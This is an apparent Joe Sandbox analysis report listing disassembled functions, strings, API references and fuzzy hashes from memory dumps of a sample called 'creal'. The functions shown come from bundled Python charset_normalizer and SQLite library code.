Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: SubtypeType_
String ID: charset_normalizer.md.MessDetectorPlugin$eligible$str
API String ID: 2891779845-1291782451
Opcode ID: 7f0862f8ed2a2bf7f8ea4440bfcb9bd23f6d9e60511077b2f04859b75fbf1be2
Instruction ID: aaf0b89263f0c5acc68be5d2e42f1991a58f7b4c20a3c8009fc09297656a16c9
Opcode Fuzzy Hash: 7f0862f8ed2a2bf7f8ea4440bfcb9bd23f6d9e60511077b2f04859b75fbf1be2
Instruction Fuzzy Hash: FD118161B08786C5EA289BD5D8953BD63A1BF45FD0F884035DD2D473A4EE2CE455C302

Function 00007FF8E7148870 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7148896
_Py_Dealloc.PYTHON312 ref: 00007FF8E71488BE

Strings

'ArchaicUpperLowerPlugin' object attribute '_last_alpha_seen' cannot be deleted, xrefs: 00007FF8E714888C
str or None, xrefs: 00007FF8E714890C

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'ArchaicUpperLowerPlugin' object attribute '_last_alpha_seen' cannot be deleted$str or None
API String ID: 1259552197-1607602726
Opcode ID: 2eb1423d3a8d026875b47d3e487d8fbdb754b2b35a34fb420c45883b89527626
Instruction ID: e646bfab94d3bee18827208b245dfc86d29c500179216ffd84d0a5f0cfb82e3e
Opcode Fuzzy Hash: 2eb1423d3a8d026875b47d3e487d8fbdb754b2b35a34fb420c45883b89527626
Instruction Fuzzy Hash: 6F115172B08B46C6EF598B99E49537C63A1FB88BD4F484131DA2D47798EE3CE4908702

Function 00007FF8E7146450 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E7146476
_Py_Dealloc.PYTHON312 ref: 00007FF8E714649E

Strings

'SuspiciousDuplicateAccentPlugin' object attribute '_last_latin_character' cannot be deleted, xrefs: 00007FF8E714646C
str or None, xrefs: 00007FF8E71464EC

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'SuspiciousDuplicateAccentPlugin' object attribute '_last_latin_character' cannot be deleted$str or None
API String ID: 1259552197-4111674009
Opcode ID: 45422d08dff3ba37862566774811d1c873494940e91693ae83718888786eb3b7
Instruction ID: 25f2fd6f34422b1f60ae9f7b9a13a56c3911983ad03699befb6e87d14073224f
Opcode Fuzzy Hash: 45422d08dff3ba37862566774811d1c873494940e91693ae83718888786eb3b7
Instruction Fuzzy Hash: 18117F72B08B46C6EE588B99E49037C23B0EF48BD8F484131DA2D47799EE2CE4908702

Function 00007FF8E71452B0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON312 ref: 00007FF8E71452D6
_Py_Dealloc.PYTHON312 ref: 00007FF8E71452FE

Strings

'TooManySymbolOrPunctuationPlugin' object attribute '_last_printable_char' cannot be deleted, xrefs: 00007FF8E71452CC
str or None, xrefs: 00007FF8E714534C

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_last_printable_char' cannot be deleted$str or None
API String ID: 1259552197-2331204894
Opcode ID: 4a2e56e4c18d021721d1ff58624d4138fa5cae7aafe6a9259ab8a3639d0b6b2d
Instruction ID: 3be08eae9cc61073f7a241cc93506d5dd9334fa7c6052a53413039e8aaec7943
Opcode Fuzzy Hash: 4a2e56e4c18d021721d1ff58624d4138fa5cae7aafe6a9259ab8a3639d0b6b2d
Instruction Fuzzy Hash: 2B117C72B08B46C6EE488BA9E49033C63A0FB48FD4F884131DA2D4B795EE2CE4509702

Function 00007FF8E7149280 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON312 ref: 00007FF8E71492C9

Strings

feed, xrefs: 00007FF8E7149329
charset_normalizer.md.MessDetectorPlugin, xrefs: 00007FF8E71492D6
str, xrefs: 00007FF8E7149316

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: SubtypeType_
String ID: charset_normalizer.md.MessDetectorPlugin$feed$str
API String ID: 2891779845-1310269896
Opcode ID: 174ffd5a8d4fbd5a7ace33c46627c3910e0e1c50ab3d8efb39f58c9a0e45e4fb
Instruction ID: 177f43e34ff18109c8c429a72547a8811d9d340dea7b6f9b69b2e8a2e58382fc
Opcode Fuzzy Hash: 174ffd5a8d4fbd5a7ace33c46627c3910e0e1c50ab3d8efb39f58c9a0e45e4fb
Instruction Fuzzy Hash: FC114FA1A48746C5EB689BA6E8413BD6361BF45BC0F844031DD3D473A4EF2CE855C702

Function 00007FF8E715281F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON312 ref: 00007FF8E715283E
_Py_Dealloc.PYTHON312 ref: 00007FF8E715285C
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152876

Strings

<module>, xrefs: 00007FF8E7153822

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 5d81bad33af6d0c6a6d34ccc316adc70e06c6ff90d8471e672fe39720f4c7cf5
Instruction ID: c68b86d4b543daace791fb49b33b4f91cd6af18a85a8e8a91165c065651e6c6c
Opcode Fuzzy Hash: 5d81bad33af6d0c6a6d34ccc316adc70e06c6ff90d8471e672fe39720f4c7cf5
Instruction Fuzzy Hash: 210156A2E09B83C1F71D4BD5E84233C22A2AF10BE4F444135C92D4B3A0DE3DB4808303

Function 00007FF8E7152670 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON312 ref: 00007FF8E715268F
_Py_Dealloc.PYTHON312 ref: 00007FF8E71526AD
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E71526C7

Strings

<module>, xrefs: 00007FF8E7153822

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 097e68ef3b6926ae97075bdf610a732ab01175073ea4774d168167745da7d900
Instruction ID: af06d7a8de6dca662e622b88f6640ab969c5d1d5a2ea69ac1b685c8d4afc3721
Opcode Fuzzy Hash: 097e68ef3b6926ae97075bdf610a732ab01175073ea4774d168167745da7d900
Instruction Fuzzy Hash: 5A0112A6E09B8381FB1D9BD4E8413BD22A2AF40BE1F444134C92E0B7A0DE3DE5859743

Function 00007FF8E7152CD6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON312 ref: 00007FF8E7152CF5
_Py_Dealloc.PYTHON312 ref: 00007FF8E7152D13
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152D2D

Strings

<module>, xrefs: 00007FF8E7153822

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 24728f44ecafede275bfe5869a5481c6ada5958cbf93234a040fc8aef190d785
Instruction ID: dca47f4f4d354d9031759c632fd55d1a7b09e0db372f149142d157ba48e837e7
Opcode Fuzzy Hash: 24728f44ecafede275bfe5869a5481c6ada5958cbf93234a040fc8aef190d785
Instruction Fuzzy Hash: AF0104A6E09B8281FB0D8BD5E84137C26A2AF40BD5F544035C92E0B6A1EF6DE5859303

Function 00007FF8E7152B3F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON312 ref: 00007FF8E7152B5E
_Py_Dealloc.PYTHON312 ref: 00007FF8E7152B7C
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7152B96

Strings

<module>, xrefs: 00007FF8E7153822

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 032ea81c99ec7a83fc9ed446e6799de4a32a2fdf75c6d93fa13489cf3ba9ce95
Instruction ID: 160048b999e806daf39d306f71cb4bb7997147ef0df51e370707708fe9386143
Opcode Fuzzy Hash: 032ea81c99ec7a83fc9ed446e6799de4a32a2fdf75c6d93fa13489cf3ba9ce95
Instruction Fuzzy Hash: E10104A6E09B8381FB199FD5E84537C22A2AF44BE5F444035C92D076A0DF7DB6859303

Function 00007FF8E71535F8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON312 ref: 00007FF8E71535FE
PyObject_Vectorcall.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E7153623
_Py_Dealloc.PYTHON312 ref: 00007FF8E715363A

Strings

<module>, xrefs: 00007FF8E715364C

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Dealloc$Object_Vectorcall
String ID: <module>
API String ID: 1057673266-217463007
Opcode ID: d65abae93356dae59a4a840aaf2a40b004717b6640a575e0a43327181c576cc2
Instruction ID: bb9af0f66290cd9327bb71c826c8be15a3cc82bde680a81b9e65c7f4df82256e
Opcode Fuzzy Hash: d65abae93356dae59a4a840aaf2a40b004717b6640a575e0a43327181c576cc2
Instruction Fuzzy Hash: C5F08C36F097D282E7699F91F8413BD6362AB40FE4F848035CE5907A50EE2CA6858742

Function 00007FF8E7144A30 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

PyObject_GetAttr.PYTHON312 ref: 00007FF8E7144A44
PyErr_Occurred.PYTHON312 ref: 00007FF8E7144A87

Part of subcall function 00007FF8E7143520: PyObject_IsInstance.PYTHON312 ref: 00007FF8E7143530
Part of subcall function 00007FF8E7143520: PyObject_CallNoArgs.PYTHON312 ref: 00007FF8E7143542
Part of subcall function 00007FF8E7143520: PyErr_SetObject.PYTHON312 ref: 00007FF8E7143556
Part of subcall function 00007FF8E7143520: _Py_Dealloc.PYTHON312 ref: 00007FF8E714356A

_Py_Dealloc.PYTHON312 ref: 00007FF8E7144A68

Strings

ratio, xrefs: 00007FF8E7144A75

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Object_$DeallocErr_$ArgsAttrCallInstanceObjectOccurred
String ID: ratio
API String ID: 1598006454-4234197119
Opcode ID: 35d559fc8b1310c0c6a435b23598347e2ea6a62b98f84bba43c18296abc6ca69
Instruction ID: 16e745d14306e2eec26c37d21a7cec7b2da050420f44a2dc1be26f91b8c4375a
Opcode Fuzzy Hash: 35d559fc8b1310c0c6a435b23598347e2ea6a62b98f84bba43c18296abc6ca69
Instruction Fuzzy Hash: 5601C926E09B87C1FB595BE1E84537D23A1AF48BD4F185435CD2E06291EE7CF1858707

Function 00007FF8E7143800 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON312 ref: 00007FF8E7143834
PyErr_Format.PYTHON312 ref: 00007FF8E7143860

Strings

%s object expected; and errored formatting real type!, xrefs: 00007FF8E7143859
%s object expected; got %U, xrefs: 00007FF8E714382D

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: Err_Format
String ID: %s object expected; and errored formatting real type!$%s object expected; got %U
API String ID: 376477240-2630277986
Opcode ID: 45f3feeb58d62d7b61bd12d7106d8e4dcb9e7cfdec48858d2051b2ab1d508661
Instruction ID: 29439ad72400e9b2358bf58f5cc8fd729dc1ffc8ba5d1441bba1760452fafb00
Opcode Fuzzy Hash: 45f3feeb58d62d7b61bd12d7106d8e4dcb9e7cfdec48858d2051b2ab1d508661
Instruction Fuzzy Hash: E2F04921E08B82C1EA094BA6F98437C6362FF48BD4F885031DA2D47695EE6CE5809702

Function 00007FF8E715306B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON312 ref: 00007FF8E715306B
_Py_Dealloc.PYTHON312 ref: 00007FF8E7153089
PyTuple_Pack.PYTHON312(?,?,?,?,?,?,00000000,?,?,00000000,00007FF8E7148F1A), ref: 00007FF8E71530A3

Strings

<module>, xrefs: 00007FF8E7153822

Memory Dump Source

Source File: 00000002.00000002.1579606014.00007FF8E7141000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF8E7140000, based on PE: true

Associated: 00000002.00000002.1579555627.00007FF8E7140000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579656071.00007FF8E7155000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579759733.00007FF8E715B000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 00000002.00000002.1579833563.00007FF8E715F000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7140000_creal.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: 6d3c8ef61b1ce4c915580a507c35e2098bc8d2d339069acd415264474d36893f
Instruction ID: 3e34a58fcc9c070466c7f603fb39cb1497a76877594dfa51891d74f802405fd5
Opcode Fuzzy Hash: 6d3c8ef61b1ce4c915580a507c35e2098bc8d2d339069acd415264474d36893f
Instruction Fuzzy Hash: EBF01266E0DB8381FA1D5FD4E88537D6262AF00BE5F444038CA2D0B692EE6DA5899353

Function 00007FF8E68CEB50 Relevance: 6.4, APIs: 1, Strings: 3, Instructions: 380COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00007FF8E68CEBA2

Strings

database corruption, xrefs: 00007FF8E68CED73
%s at line %d of [%.10s], xrefs: 00007FF8E68CED7F
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68CED66

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcmp
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 1475443563-3418467682
Opcode ID: 409bf4b4490d964f91b512375946b67e65f21b136b0b9dda1bf3d0e7d8408f83
Instruction ID: a396df7c4eec24c6f7fe22a4e0f65d2f7e3420ce571665ee1af01a76379da4d2
Opcode Fuzzy Hash: 409bf4b4490d964f91b512375946b67e65f21b136b0b9dda1bf3d0e7d8408f83
Instruction Fuzzy Hash: 53F18C72B24662ABEB24CBA9D1447AD37A1FB44B88B004135DF1DA7B84DF3CE815C742

Function 00007FF8E6912940 Relevance: 6.3, APIs: 5, Instructions: 70COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E69129A0
memcpy.VCRUNTIME140 ref: 00007FF8E69129B5
memcpy.VCRUNTIME140 ref: 00007FF8E69129D9
memcpy.VCRUNTIME140 ref: 00007FF8E69129F8
memcpy.VCRUNTIME140 ref: 00007FF8E6912A10

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy$memset
String ID:
API String ID: 438689982-0
Opcode ID: a6ff5a15896b073320a7f3bf873fce0ddaf5a002a29690532f372a235447d205
Instruction ID: 3dfe36d4c601e505e4b93a2a0c0b0344bf1e2a2f8931a745e334fec0056578ad
Opcode Fuzzy Hash: a6ff5a15896b073320a7f3bf873fce0ddaf5a002a29690532f372a235447d205
Instruction Fuzzy Hash: 0621A266A2875283DA24AB56F5452BAB3A1FF44BC0B081135DBCE47F9ACF2CE050C301

Function 00007FF8E68BEEA0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 249COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68BEF2C

Strings

winOpenShm, xrefs: 00007FF8E68BF139
%s-shm, xrefs: 00007FF8E68BEF43
readonly_shm, xrefs: 00007FF8E68BF0CA

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset
String ID: %s-shm$readonly_shm$winOpenShm
API String ID: 2221118986-2815843928
Opcode ID: a290f675da4f5c5e107bcd1d9fb6af64acc55498ccbefba8e45b70411a0c5bd1
Instruction ID: ef12faefb4925283f2e8a70eda35f97e1711b5fbeb3018adefee41caf5af8c2e
Opcode Fuzzy Hash: a290f675da4f5c5e107bcd1d9fb6af64acc55498ccbefba8e45b70411a0c5bd1
Instruction Fuzzy Hash: 5AC1AD29F2DA5681FAA49FA1E45477833A0FF49BC0F085235DA6E436A1DF3CE845C302

Function 00007FF8E6945730 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 244COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?,?,?,?,00000080,?,00000000,00007FF8E6945C02), ref: 00007FF8E69458DB
memcpy.VCRUNTIME140(?,?,?,?,?,?,00000080,?,00000000,00007FF8E6945C02), ref: 00007FF8E6945959
memcpy.VCRUNTIME140(?,?,?,?,?,?,00000080,?,00000000,00007FF8E6945C02), ref: 00007FF8E6945A4B

Strings

RETURNING may not use "TABLE.*" wildcards, xrefs: 00007FF8E69457B1

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memcpy
String ID: RETURNING may not use "TABLE.*" wildcards
API String ID: 3510742995-2313493979
Opcode ID: fcb7b03342ee407144e78f7d7191d52dd4f031f97a82eb8e131f18d6bdbbf8d7
Instruction ID: 2e4937c4829c1dd3cafe5080d3d5185b439077c2daaf64ea6c81eaeb1d3f5306
Opcode Fuzzy Hash: fcb7b03342ee407144e78f7d7191d52dd4f031f97a82eb8e131f18d6bdbbf8d7
Instruction Fuzzy Hash: 22B19D62A28B8186EB20DF95D4843A977A1FB85FE4F498235DE6D07796DF3CE190C301

Function 00007FF8E68D0920 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8E68D0B49

Strings

database corruption, xrefs: 00007FF8E68D09E3, 00007FF8E68D0B7A
%s at line %d of [%.10s], xrefs: 00007FF8E68D09EF, 00007FF8E68D0B86
2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0, xrefs: 00007FF8E68D09D7, 00007FF8E68D0B6D

Memory Dump Source

Source File: 00000002.00000002.1574168026.00007FF8E68B1000.00000020.00000001.01000000.0000001B.sdmp, Offset: 00007FF8E68B0000, based on PE: true

Associated: 00000002.00000002.1574114740.00007FF8E68B0000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574380417.00007FF8E69DC000.00000002.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574437264.00007FF8E6A0A000.00000004.00000001.01000000.0000001B.sdmpDownload File
Associated: 00000002.00000002.1574499928.00007FF8E6A0F000.00000002.00000001.01000000.0000001B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e68b0000_creal.jbxd

Similarity

API ID: memset
String ID: %s at line %d of [%.10s]$2d3a40c05c49e1a49264912b1a05bc2143ac0e7c3df588276ce80a4cbc9bd1b0$database corruption
API String ID: 2221118986-3418467682
Opcode ID: 32bab25185db5cd73c33ce9707f9a1cf8e9a927a2b0a63cd242fbe127e798c5a
